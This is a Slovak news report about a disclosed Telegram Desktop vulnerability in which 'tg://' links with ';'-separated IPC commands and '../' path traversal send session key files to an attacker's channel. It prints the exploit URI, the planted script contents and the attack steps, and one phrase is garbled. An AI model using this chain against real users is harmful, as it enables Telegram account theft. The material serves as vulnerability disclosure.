Boli zverejnené podrobnosti a metóda zneužívania zraniteľnosti (CVE-2026-107181) v Telegram Desktop, oficiálnom kliente Telegram pre desktopové systémy. Problém je spôsobený nedostatočným spracovaním neescapovaných oddelovacích znakov v IPC príkazoch, čo umožnilo pri kliknutí na zaslaný odkaz prenášať akékoľvek súbory zo systému obete útočníkovi, vrátane súborov so s.session kľúčmi, ktoré môžu byť použité na prevzatie účtu v Telegrame. Zraniteľnosť bola odstránená vo vydaní Telegram Desktop 7.2.9.
Pri kliknutí na odkazy „tg://“ operačný systém spúšťa aplikáciu Telegram Desktop súvisiacu s týmto typom odkazov. Ak je v systéme už spustená iná inštancia tejto aplikácie, spustený proces prenáša odkaz cez socket pomocou IPC rozhrania. Problém nastáva, ak je zadaný znak „;“ medzi parametrami odkazu (napríklad „tg://x?a=1;OPEN…“), obsah sa rozdelí a časti nasledujúce po znaku „;“ sú spracované ako samostatné príkazy.
Na vykonanie útoku sa využije príkaz OPEN spolu s URI schémou „interpret:“, ktorá je určená na spustenie služobných skriptov cez IPC, ktoré sa používali na automatické zasielanie nových vydaní do kanálov. Skript predstavuje preddefinovaný lokálny súbor, v ktorom je uvedený súbor zasielaný do kanála a identifikátor kanála. Cesta k skriptom sa spracováva relatívne k služobnému podadresáru, avšak kvôli nedostatku čistenia „../“ v cestách k súborom má útočník možnosť prisťahovať sa k súborom uloženým mimo základného adresára. Napríklad je možné nahrávať súbor do svojej telegram skupiny, po čom možno na tento súbor odkazovať ako na skript, čím sa spo prepares odkaz typu:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Kroky pri vykonávaní útoku:
- Útočník pridá obeť do svojej skupiny (pri predvolenom nastavení pridanie nevyžaduje potvrdenie od pridávanej osoby) a pošle do tejto skupiny textový súbor, v ktorom je uvedený kanál a cesta k skriptu. Telegram tento súbor uloží do preddefinovaného systémového podadresára, keď obeť vstúpi do skupiny.
channel: 2005234537
file: tdata/D877F783D5D3EF8Cs - Útočník pošle obeti nevinný vyzerajúci odkaz na svoj hosť (napríklad „https://coolsite.org“), ktorý pri otvorení cez presmerovanie na serveri útočníka sa nahrádza na URI formátu ‘tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….'
- Pri kliknutí na odkaz prehliadač vyvolá spracovateľa URI „tg://“, ktorý spustí vyššie uvedený reťazec príkazov, čo vedie k odoslaniu súborov do kanála útočníka bez zobrazenia akýchkoľvek oznámení a bez požiadania o potvrdenie odoslania.
- Získaním súborov z podpriečinka tdata s šifrovacími a autentifikačnými kľúčmi, pri absencii nastaveného miestneho hesla používateľa, môže útočník klonovať reláciu pripojenia obete na svojom zariadení.
Zdroj: opennet.ru
